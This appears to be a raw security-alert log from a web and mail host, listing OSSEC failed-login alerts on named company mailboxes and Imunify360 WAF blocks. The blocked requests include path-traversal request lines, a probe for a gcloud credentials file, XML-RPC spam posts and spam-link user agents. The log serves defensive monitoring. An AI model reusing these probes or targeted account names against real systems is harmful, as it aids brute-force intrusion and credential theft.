2026-07-11 22:14:25 dovecot_login authenticator failed for H=([14.35.209.208]) [124.105.218.151]:38046: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.97.97
country_id: 1835841
description:
2026-07-11 22:15:21 dovecot_login authenticator failed for H=([182.210.174.66]) [211.228.97.97]:44881: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 105.247.89.210
country_id: 953987
description:
2026-07-11 22:23:28 dovecot_login authenticator failed for H=(89-253-90-113.customers.ownit.se) [105.247.89.210]:45612: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.176.254.53
country_id: 6252001
description:
2026-07-11 22:23:05 dovecot_login authenticator failed for H=([182.79.151.121]) [24.176.254.53]:41867: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 168.91.173.57
country_id: 6252001
description:
2026-07-11 22:23:25 dovecot_login authenticator failed for H=168-91-173-57.s823.c3-0.eas-cbr7.atw-eas.pa.cable.rcncustomer.com ([107.181.161.85]) [168.91.173.57]:57124: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.25.212.83
country_id: 1835841
description:
2026-07-11 22:23:16 dovecot_login authenticator failed for H=([82.39.35.211]) [59.25.212.83]:45010: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.219.149.74
country_id: 2328926
description:
2026-07-11 22:25:15 dovecot_login authenticator failed for H=([149.54.15.90]) [41.219.149.74]:58732: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.40.114.86
country_id: 1835841
description:
2026-07-11 22:26:48 dovecot_login authenticator failed for H=([157.211.246.182]) [14.40.114.86]:44266: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.124.46
country_id: 1269750
description:
2026-07-11 22:26:32 dovecot_login authenticator failed for H=([61.111.255.216]) [122.184.124.46]:40306: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.154.80.51
country_id: 2245662
description:
2026-07-11 22:33:45 dovecot_login authenticator failed for H=([174.75.211.196]) [213.154.80.51]:60039: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.231.243.28
country_id: 6252001
description:
2026-07-11 22:34:29 dovecot_login authenticator failed for H=([49.124.155.162]) [50.231.243.28]:56858: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 93.125.107.139
country_id: 630336
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/2018/11/ HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.196.213.196
country_id: 1835841
description:
2026-07-11 22:41:05 dovecot_login authenticator failed for H=([72.205.0.69]) [119.196.213.196]:59438: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.177.88.30
country_id: 3624060
description:
2026-07-11 22:41:37 dovecot_login authenticator failed for H=(cm-staticip-85-152-57-60.telecable.es) [186.177.88.30]:35339: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.148.184.47
country_id: 1835841
description:
2026-07-11 22:46:06 dovecot_login authenticator failed for H=([149.54.62.2]) [121.148.184.47]:60105: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-11 22:46:35 dovecot_login authenticator failed for H=([175.200.217.128]) [197.219.208.58]:60436: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.130.98.240
country_id: 1668284
description:
2026-07-11 22:46:51 dovecot_login authenticator failed for H=([70.166.167.49]) [140.130.98.240]:38255: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.29.246.199
country_id: 453733
description:
2026-07-11 22:47:17 dovecot_login authenticator failed for H=199-246-29-85.dyn.estpak.ee ([189.20.109.209]) [85.29.246.199]:40590: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.116.66
country_id: 1269750
description:
2026-07-11 22:51:41 dovecot_login authenticator failed for H=([49.124.149.208]) [182.95.116.66]:47890: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 129.45.84.119
country_id: 2589581
description:
2026-07-11 22:52:22 dovecot_login authenticator failed for H=([117.204.1.45]) [129.45.84.119]:47082: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.192.183.199
country_id: 3624060
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/business-gravity-img-13-1170x710/index.html HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.132.64.89
country_id: 2921044
description:
2026-07-11 22:57:32 dovecot_login authenticator failed for H=([116.113.241.82]) [212.132.64.89]:50542: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.6.86
country_id: 1668284
description:
2026-07-11 22:57:22 dovecot_login authenticator failed for H=([139.227.188.247]) [101.13.6.86]:36056: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.77.69.201
country_id: 798544
description:
2026-07-11 22:57:10 dovecot_login authenticator failed for H=apn-46-77-69-201.static.gprs.plus.pl ([196.189.126.185]) [46.77.69.201]:42668: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.39.99.2
country_id: 1835841
description:
2026-07-11 22:58:05 dovecot_login authenticator failed for H=([106.248.238.187]) [14.39.99.2]:34677: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.46.192.20
country_id: 2510769
description:
2026-07-11 22:59:34 dovecot_login authenticator failed for H=([72.37.216.65]) [193.46.192.20]:50646: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.41.207.112
country_id: 953987
description:
2026-07-11 22:59:13 dovecot_login authenticator failed for H=([184.151.88.27]) [196.41.207.112]:56445: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.73
country_id: 1269750
description:
2026-07-11 23:04:12 dovecot_login authenticator failed for H=([98.181.137.75]) [122.187.230.73]:44624: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.255.189.50
country_id: 298795
description:
2026-07-11 23:03:59 dovecot_login authenticator failed for H=([49.125.201.68]) [88.255.189.50]:50087: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.108.109
country_id: 1269750
description:
2026-07-11 23:06:17 dovecot_login authenticator failed for H=([218.156.93.206]) [183.82.108.109]:57036: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.72.102.106
country_id: 1269750
description:
2026-07-11 23:12:30 dovecot_login authenticator failed for H=([49.124.148.197]) [182.72.102.106]:51776: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.72.9.151
country_id: 1269750
description:
2026-07-11 23:13:05 dovecot_login authenticator failed for H=([49.124.152.232]) [116.72.9.151]:46592: 535 Incorrect authentication data (set_id=khalid)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.143.235.164
country_id: 2542007
domain: www.metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.metrodigitals.com/images/2025/11/05/es90.webp HTTP/1.1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 158.69.22.136
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://phoenix.sinknews.it.com/\">bigtechoro</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.105.141.172
country_id: 3923057
description:
2026-07-11 23:21:44 dovecot_login authenticator failed for H=static-200-105-141-172.acelerate.net (111-70-32-10.emome-ip.hinet.net) [200.105.141.172]:57582: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 75.80.65.214
country_id: 6252001
description:
2026-07-11 23:24:15 dovecot_login authenticator failed for H=syn-075-080-065-214.biz.spectrum.com ([50.223.176.171]) [75.80.65.214]:45339: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.157.252.162
country_id: 2260494
description:
2026-07-11 23:27:15 dovecot_login authenticator failed for H=([220.93.209.152]) [197.157.252.162]:38572: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.252.10.3
country_id: 1835841
description:
2026-07-11 23:30:46 dovecot_login authenticator failed for H=([61.178.82.215]) [203.252.10.3]:42866: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.242
country_id: 1036973
description:
2026-07-11 23:32:45 dovecot_login authenticator failed for H=([49.124.149.213]) [197.219.228.242]:47134: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.196.213.196
country_id: 1835841
description:
2026-07-11 23:32:22 dovecot_login authenticator failed for H=(66-45-144-201-dynamic.midco.net) [119.196.213.196]:48296: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.166
country_id: 1269750
description:
2026-07-11 23:39:37 dovecot_login authenticator failed for H=([112.162.71.248]) [182.95.181.166]:34746: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.31.200.85
country_id: 1522867
description:
2026-07-11 23:39:52 dovecot_login authenticator failed for H=([112.31.93.229]) [193.31.200.85]:50358: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.129.31.42
country_id: 3686110
description:
2026-07-11 23:40:11 dovecot_login authenticator failed for H=([222.116.25.156]) [181.129.31.42]:42120: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 79.116.220.133
country_id: 2510769
domain: yukticlick.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:45094.yukticlick.com||ServerName:yukticlick.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:edff34bc4498d513e3733a120c7e5da7a2d6514f||Title:0xd955a68c||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.196.213.196
country_id: 1835841
description:
2026-07-11 23:43:24 dovecot_login authenticator failed for H=(static.ill.61.2.228.177.bsnl.co.in) [119.196.213.196]:46988: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.111.136.211
country_id: 294640
description:
2026-07-11 23:47:35 dovecot_login authenticator failed for H=([117.244.16.6]) [84.111.136.211]:43446: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.242.170.10
country_id: 1036973
description:
2026-07-11 23:47:13 dovecot_login authenticator failed for H=(atlanta-1.cdn77.com) [197.242.170.10]:59110: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 94.176.95.57
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/106.0.5249.30 Safari/537.36||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.29.22
country_id: 2963597
description:
2026-07-11 23:50:02 dovecot_login authenticator failed for H=(93-62-72-229.ip21.fastwebnet.it) [207.254.29.22]:54984: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-07-11 23:50:38 dovecot_login authenticator failed for H=([103.230.176.152]) [103.55.89.5]:44690: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.233.29.157
country_id: 3865483
description:
2026-07-11 23:50:56 dovecot_login authenticator failed for H=([149.54.62.62]) [170.233.29.157]:52503: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.205.2.250
country_id: 1269750
description:
2026-07-11 23:55:08 dovecot_login authenticator failed for H=([117.70.94.155]) [117.205.2.250]:33625: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 66.45.144.201
country_id: 6252001
description:
2026-07-11 23:55:24 dovecot_login authenticator failed for H=66-45-144-201-dynamic.midco.net (189-108-225-38.customer.tdatabrasil.net.br) [66.45.144.201]:53602: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 216.45.75.104
country_id: 6252001
description:
2026-07-11 23:57:50 dovecot_login authenticator failed for H=([106.247.22.181]) [216.45.75.104]:39568: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.166
country_id: 1269750
description:
2026-07-11 23:58:03 dovecot_login authenticator failed for H=([220.180.107.193]) [182.95.181.166]:58960: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.91.135.181
country_id: 6252001
description:
2026-07-12 00:02:00 dovecot_login authenticator failed for H=([203.252.10.4]) [70.91.135.181]:43920: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.123.50
country_id: 1269750
description:
2026-07-12 00:02:23 dovecot_login authenticator failed for H=(broadband-77-37-162-117.ip.moscow.rt.ru) [182.95.123.50]:52922: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.15.31
country_id: 1269750
description:
2026-07-12 00:08:39 dovecot_login authenticator failed for H=(mx-ll-223.204.180-222.dynamic.3bb.co.th) [122.160.15.31]:42148: 535 Incorrect authentication data (set_id=prameela@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.193.187.154
country_id: 1269750
description:
2026-07-12 00:08:59 dovecot_login authenticator failed for H=(95.158.39.201.bestsolution.net.ua) [113.193.187.154]:55216: 535 Incorrect authentication data (set_id=prameela)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.191.181.23
country_id: 2661886
description:
2026-07-12 00:09:14 dovecot_login authenticator failed for H=c83-191-181-23.bredband.tele2.se ([70.166.167.58]) [83.191.181.23]:38664: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.103.36.176
country_id: 1819730
description:
2026-07-12 00:09:44 dovecot_login authenticator failed for H=176.36.103.218.static.netvigator.com (195-67-33-198.customer.telia.com) [218.103.36.176]:55695: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.201.26
country_id: 1269750
description:
2026-07-12 00:13:59 dovecot_login authenticator failed for H=([70.166.167.44]) [128.185.201.26]:42500: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.88.209.51
country_id: 1269750
description:
2026-07-12 00:18:46 dovecot_login authenticator failed for H=([208.69.161.214]) [202.88.209.51]:46526: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.15.82.135
country_id: 798544
description:
2026-07-12 00:19:04 dovecot_login authenticator failed for H=([200.37.179.83]) [185.15.82.135]:48520: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 216.45.75.104
country_id: 6252001
description:
2026-07-12 00:25:31 dovecot_login authenticator failed for H=([49.124.133.224]) [216.45.75.104]:54569: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.203.138
country_id: 1269750
description:
2026-07-12 00:30:32 dovecot_login authenticator failed for H=([70.166.167.42]) [125.23.203.138]:37028: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.110.42
country_id: 1269750
description:
2026-07-12 00:30:39 dovecot_login authenticator failed for H=([111.35.36.48]) [182.95.110.42]:48634: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.205.3.26
country_id: 1269750
description:
2026-07-12 00:31:11 dovecot_login authenticator failed for H=([87.229.254.207]) [117.205.3.26]:39029: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.72.9.151
country_id: 1269750
description:
2026-07-12 00:30:59 dovecot_login authenticator failed for H=([117.244.16.6]) [116.72.9.151]:35724: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 168.91.173.57
country_id: 6252001
description:
2026-07-12 00:30:58 dovecot_login authenticator failed for H=168-91-173-57.s823.c3-0.eas-cbr7.atw-eas.pa.cable.rcncustomer.com ([112.173.166.253]) [168.91.173.57]:43010: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.38.177.105
country_id: 1835841
description:
2026-07-12 00:38:47 dovecot_login authenticator failed for H=([117.248.201.39]) [14.38.177.105]:48881: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.201.228.210
country_id: 99237
description:
2026-07-12 00:39:14 dovecot_login authenticator failed for H=([120.194.50.39]) [62.201.228.210]:34474: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 130.12.180.48
country_id: 2750405
domain: futuracare.com.au
description:
IM360 WAF: Bad file extension||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/.config/gcloud/credentials.db||User:futuracarecom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.120
country_id: 1668284
description:
2026-07-12 00:41:50 dovecot_login authenticator failed for H=([196.216.81.126]) [101.13.4.120]:47012: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.51.67.158
country_id: 1835841
description:
2026-07-12 00:41:15 dovecot_login authenticator failed for H=(47-145-62-32.fdr01.sncy.ca.ip.frontiernet.net) [14.51.67.158]:40078: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 91.92.42.204
country_id: 2750405
domain: www.ahsmarine.com
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:trumpweiss||User:ahsmarine||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77896900
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 91.92.42.204
country_id: 2750405
domain: www.ahsmarine.com
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:administratoir||User:ahsmarine||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 174.91.33.50
country_id: 6251999
domain: ahsmarine.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:83252.ahsmarine.com||ServerName:ahsmarine.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c2500e50ebc173262b8cc737808dc9b093b411e8||Title:0x5ba05f04||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.109
country_id: 3686110
description:
2026-07-12 00:55:48 dovecot_login authenticator failed for H=([27.39.130.144]) [206.62.136.109]:49126: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 148.170.156.248
country_id: 6251999
description:
2026-07-12 00:56:00 dovecot_login authenticator failed for H=host-148-170-156-248.public.eastlink.ca ([211.185.23.242]) [148.170.156.248]:54904: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.209.191.11
country_id: 2661886
description:
2026-07-12 00:57:14 dovecot_login authenticator failed for H=82-209-191-11.cust.bredband2.com (164-53-26-103.intechonline.net) [82.209.191.11]:55914: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.130.91.83
country_id: 1269750
description:
2026-07-12 00:57:15 dovecot_login authenticator failed for H=([49.124.151.56]) [103.130.91.83]:48660: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.85.146.216
country_id: 6252001
description:
2026-07-12 00:57:06 dovecot_login authenticator failed for H=ool-435592d8.dyn.optonline.net ([114.202.80.152]) [67.85.146.216]:50845: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.235.110
country_id: 1269750
description:
2026-07-12 00:57:04 dovecot_login authenticator failed for H=([64.52.161.203]) [128.185.235.110]:46384: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.40.63
country_id: 1819730
description:
2026-07-12 00:57:56 dovecot_login authenticator failed for H=063.40.246.220.static.netvigator.com (wsip-184-178-172-20.rn.hr.cox.net) [220.246.40.63]:36931: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.103.170.214
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../media/xaglh1ni.txt&font_families={}&93ef642a6869aac4c48e2e85527f9d3b=1 HTTP/1.1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.103.170.214
country_id: 1643084
domain: www.alnayza.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../media/ic8josgj.txt&font_families={}&95e979495bfdc42ec5b5161a48d00812=1 HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.23.3.146
country_id: 1835841
description:
2026-07-12 01:02:51 dovecot_login authenticator failed for H=([41.214.10.178]) [59.23.3.146]:60086: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.157.13.210
country_id: 3686110
description:
2026-07-12 01:03:17 dovecot_login authenticator failed for H=([70.166.167.58]) [190.157.13.210]:36272: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://bbs.abcdv.net/home.php?mod=space&uid=1290292&do=profile\">\xe2\x80\x9cvi\xe1\xbb\x87n c\xc3\xa2y gi\xe1\xbb\x91ng\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.91.135.181
country_id: 6252001
description:
2026-07-12 01:09:03 dovecot_login authenticator failed for H=([98.190.239.1]) [70.91.135.181]:29714: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.0.41.134
country_id: 226074
description:
2026-07-12 01:13:14 dovecot_login authenticator failed for H=(m121-202-146-144.smartone.com) [196.0.41.134]:39021: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.66.234.228
country_id: 3424932
description:
2026-07-12 01:15:20 dovecot_login authenticator failed for H=(95-165-159-70.static.spd-mgts.ru) [185.66.234.228]:33360: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 163.223.244.3
country_id: 1269750
description:
2026-07-12 01:15:36 dovecot_login authenticator failed for H=([211.223.179.243]) [163.223.244.3]:47928: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.205.197
country_id: 99237
description:
2026-07-12 01:17:45 dovecot_login authenticator failed for H=([118.211.165.46]) [65.20.205.197]:40044: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.99.52.202
country_id: 1835841
description:
2026-07-12 01:19:58 dovecot_login authenticator failed for H=([68.71.243.10]) [222.99.52.202]:38161: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.24.209.174
country_id: 102358
description:
2026-07-12 01:20:19 dovecot_login authenticator failed for H=(mission-web-hosting.com) [144.24.209.174]:61938: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.207.225.36
country_id: 1835841
description:
2026-07-12 01:25:16 dovecot_login authenticator failed for H=([58.56.128.190]) [175.207.225.36]:37520: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.114.134.130
country_id: 2077456
description:
2026-07-12 01:27:20 dovecot_login authenticator failed for H=(191-210-159-32.user.vivozap.com.br) [193.114.134.130]:52315: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 135.136.24.18
country_id: 783754
domain: arcrealtors.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:38733.arcrealtors.com.au||ServerName:arcrealtors.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a3afebdf0ac9bdce4137b418a1a23d98e21fc304||Title:0xdc5ba15a||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.223
country_id: 1733045
description:
2026-07-12 01:32:04 dovecot_login authenticator failed for H=([112.46.138.214]) [49.124.152.223]:60692: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.119.30
country_id: 1269750
description:
2026-07-12 01:40:54 dovecot_login authenticator failed for H=(2-55-84-240.orange.net.il) [182.95.119.30]:35048: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.72.102.106
country_id: 1269750
description:
2026-07-12 01:42:19 dovecot_login authenticator failed for H=([219.129.96.2]) [182.72.102.106]:50120: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.31.220.229
country_id: 99237
description:
